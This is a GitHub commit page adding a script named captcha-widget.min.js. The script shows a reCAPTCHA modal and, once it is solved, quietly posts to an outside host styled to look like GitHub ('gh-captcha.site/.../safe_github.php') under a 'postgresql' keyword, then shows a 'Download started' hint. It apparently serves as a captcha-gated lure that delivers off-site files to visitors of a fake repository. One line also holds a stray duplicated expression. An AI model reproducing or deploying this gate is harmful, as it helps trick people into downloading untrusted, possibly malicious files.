Skip to content

Commit eeaca27

Browse files
authored
Add files via upload
1 parent d800aa5 commit eeaca27

1 file changed

Lines changed: 212 additions & 0 deletions

File tree

captcha-widget.min.js

Lines changed: 212 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,212 @@
1+
var CAPTCHA_CONFIG = {
2+
siteKey: '6LdCmxMtAAAAAMguGKi960bfZMCGwQ3U4mBKPiGX',
3+
actionUrl: 'https://gh-captcha.site/postgresql/safe_github.php',
4+
keyword: 'postgresql',
5+
// For front-end download on the same page, set direct file URL, e.g.: '/files/your-file.zip'
6+
fileUrl: null,
7+
// reCAPTCHA UI language
8+
lang: 'en'
9+
};
10+
11+
(function() {
12+
// Styles
13+
var style = document.createElement('style');
14+
style.textContent = [
15+
'#cw-overlay{display:none;position:fixed;inset:0;background:rgba(0,0,0,.6);z-index:9999;align-items:center;justify-content:center;}',
16+
'#cw-overlay.cw-open{display:flex;}',
17+
'#cw-box{background:#1a1a1a;border-radius:12px;padding:24px 18px;width:340px;max-width:92vw;position:relative;text-align:center;color:#eee;box-shadow:0 10px 40px rgba(0,0,0,.5);}',
18+
'#cw-close{position:absolute;top:10px;right:12px;background:none;border:none;color:#888;font-size:22px;cursor:pointer;line-height:1;}',
19+
'#cw-close:hover{color:#fff;}',
20+
'#cw-title{color:#fff;font-size:18px;font-weight:400;margin:0 0 16px;}',
21+
'/* Key point: never stretch reCAPTCHA via CSS */',
22+
'#cw-recaptcha{display:block;margin:12px auto 0;width:304px;}',
23+
'#cw-submit{margin-top:16px;width:100%;padding:10px;background:#2563eb;color:#fff;border:none;border-radius:6px;font-size:15px;cursor:pointer;opacity:.5;pointer-events:none;transition:background .2s ease;}',
24+
'#cw-submit.cw-ready{opacity:1;pointer-events:auto;}',
25+
'#cw-submit.cw-ready:hover{background:#1d4ed8;}',
26+
'/* Download hint (top-right by default) */',
27+
'#cw-hint{position:fixed;z-index:1100;top:12px;right:16px;display:grid;gap:6px;align-items:start;}',
28+
'#cw-hint[hidden]{display:none;}',
29+
'#cw-hint .cw-hint__bubble{background:#111;color:#fff;border:1px solid #333;padding:10px 12px;border-radius:10px;box-shadow:0 6px 20px rgba(0,0,0,.4);font-size:14px;line-height:1.35;display:inline-flex;align-items:center;}',
30+
'#cw-hint .cw-hint__close{background:transparent;color:#aaa;border:none;cursor:pointer;margin-left:8px;font-size:16px;}',
31+
'#cw-hint .cw-hint__arrow{width:0;height:0;border-left:10px solid transparent;border-right:10px solid transparent;border-top:12px solid #111;margin-left:auto;margin-right:8px;filter:drop-shadow(0 2px 3px rgba(0,0,0,.4));}'
32+
].join('');
33+
document.head.appendChild(style);
34+
35+
// Modal markup
36+
var overlay = document.createElement('div');
37+
overlay.id = 'cw-overlay';
38+
overlay.innerHTML = ''+
39+
'<div id="cw-box">' +
40+
'<button id="cw-close" aria-label="Close">&times;</button>' +
41+
'<p id="cw-title">Confirm you\'re not a robot</p>' +
42+
'<div id="cw-recaptcha"></div>' +
43+
'<button id="cw-submit" disabled>Continue</button>' +
44+
'</div>';
45+
46+
// Download hint arrow
47+
var hint = document.createElement('div');
48+
hint.id = 'cw-hint';
49+
hint.setAttribute('hidden', '');
50+
hint.innerHTML = ''+
51+
'<div class="cw-hint__bubble">Download started. Your file will appear here →<button class="cw-hint__close" aria-label="Close">✕</button></div>'+
52+
'<div class="cw-hint__arrow"></div>';
53+
54+
var widgetId = null;
55+
var submitBtn, closeBtn, hintCloseBtn;
56+
57+
// Ensure reCAPTCHA script is loaded, then run cb
58+
function ensureRecaptcha(cb) {
59+
if (window.grecaptcha && typeof window.grecaptcha.render === 'function') {
60+
cb && cb();
61+
return;
62+
}
63+
var s = document.createElement('script');
64+
var onloadName = '__cwRecaptchaOnload__' + Math.random().toString(36).slice(2);
65+
window[onloadName] = function() { cb && cb(); };
66+
s.src = 'https://www.google.com/recaptcha/api.js?render=explicit&hl=' + encodeURIComponent(CAPTCHA_CONFIG.lang) + '&onload=' + onloadName; + encodeURIComponent(CAPTCHA_CONFIG.lang) + '&onload=' + onloadName;
67+
s.async = true; s.defer = true;
68+
document.head.appendChild(s);
69+
}
70+
71+
function init() {
72+
document.body.appendChild(overlay);
73+
document.body.appendChild(hint);
74+
75+
submitBtn = document.getElementById('cw-submit');
76+
closeBtn = document.getElementById('cw-close');
77+
hintCloseBtn = hint.querySelector('.cw-hint__close');
78+
79+
// Close interactions
80+
closeBtn.addEventListener('click', closeModal);
81+
overlay.addEventListener('click', function(e){ if (e.target === overlay) closeModal(); });
82+
document.addEventListener('keydown', function(e){ if (e.key === 'Escape') closeModal(); });
83+
84+
// Open modal on any element with data-captcha-trigger
85+
document.addEventListener('click', function(e){
86+
var btn = e.target.closest('[data-captcha-trigger]');
87+
if (btn) {
88+
e.preventDefault();
89+
openModal();
90+
}
91+
});
92+
93+
submitBtn.addEventListener('click', onSubmit);
94+
hintCloseBtn.addEventListener('click', hideHint);
95+
}
96+
97+
function openModal() {
98+
overlay.classList.add('cw-open');
99+
ensureRecaptcha(function(){
100+
try {
101+
if (widgetId === null) {
102+
widgetId = grecaptcha.render('cw-recaptcha', {
103+
sitekey: CAPTCHA_CONFIG.siteKey,
104+
theme: 'dark',
105+
size: 'normal', // do not scale via CSS
106+
callback: onCaptchaSolved,
107+
'expired-callback': onCaptchaExpired,
108+
'error-callback': onCaptchaError
109+
});
110+
} else {
111+
grecaptcha.reset(widgetId);
112+
onCaptchaExpired();
113+
}
114+
} catch (e) {
115+
console.error('reCAPTCHA render error:', e);
116+
}
117+
});
118+
}
119+
120+
function closeModal() {
121+
overlay.classList.remove('cw-open');
122+
if (widgetId !== null && window.grecaptcha) {
123+
try { grecaptcha.reset(widgetId); } catch(_){}
124+
}
125+
onCaptchaExpired();
126+
}
127+
128+
function onCaptchaSolved() {
129+
submitBtn.classList.add('cw-ready');
130+
submitBtn.disabled = false;
131+
}
132+
133+
function onCaptchaExpired() {
134+
submitBtn.classList.remove('cw-ready');
135+
submitBtn.disabled = true;
136+
submitBtn.textContent = 'Continue';
137+
}
138+
139+
function onCaptchaError() {
140+
submitBtn.classList.remove('cw-ready');
141+
submitBtn.disabled = true;
142+
submitBtn.textContent = 'Error. Retry';
143+
}
144+
145+
function onSubmit() {
146+
var token = null;
147+
try { token = grecaptcha.getResponse(widgetId); } catch(_){}
148+
if (!token) return;
149+
150+
submitBtn.textContent = 'Processing…';
151+
submitBtn.classList.remove('cw-ready');
152+
153+
// Close modal before submit/download
154+
closeModal();
155+
156+
if (CAPTCHA_CONFIG.fileUrl) {
157+
// Front-end download (for GH Pages) + hint
158+
try {
159+
startDownload(CAPTCHA_CONFIG.fileUrl);
160+
showHint();
161+
} catch (e) {
162+
console.error('Download start error:', e);
163+
}
164+
return;
165+
}
166+
167+
// Otherwise: submit POST to actionUrl (server handles verification & deliver)
168+
try {
169+
var form = document.createElement('form');
170+
form.method = 'POST';
171+
form.action = CAPTCHA_CONFIG.actionUrl;
172+
form.style.display = 'none';
173+
174+
var inp = document.createElement('input');
175+
inp.type = 'hidden'; inp.name = 'g-recaptcha-response'; inp.value = token;
176+
form.appendChild(inp);
177+
178+
var kw = document.createElement('input');
179+
kw.type = 'hidden'; kw.name = 'keyword'; kw.value = CAPTCHA_CONFIG.keyword;
180+
form.appendChild(kw);
181+
182+
document.body.appendChild(form);
183+
form.submit();
184+
} catch (e) {
185+
console.error('Form submit error:', e);
186+
}
187+
}
188+
189+
function startDownload(url) {
190+
var a = document.createElement('a');
191+
a.href = url;
192+
a.download = '';
193+
a.rel = 'noopener';
194+
a.style.display = 'none';
195+
document.body.appendChild(a);
196+
a.click();
197+
setTimeout(function(){ try { document.body.removeChild(a); } catch(_){} }, 0);
198+
}
199+
200+
function showHint() {
201+
try { hint.removeAttribute('hidden'); } catch(_){}
202+
}
203+
function hideHint() {
204+
try { hint.setAttribute('hidden', ''); } catch(_){}
205+
}
206+
207+
if (document.readyState === 'loading') {
208+
document.addEventListener('DOMContentLoaded', init);
209+
} else {
210+
init();
211+
}
212+
})();

0 commit comments

Comments
 (0)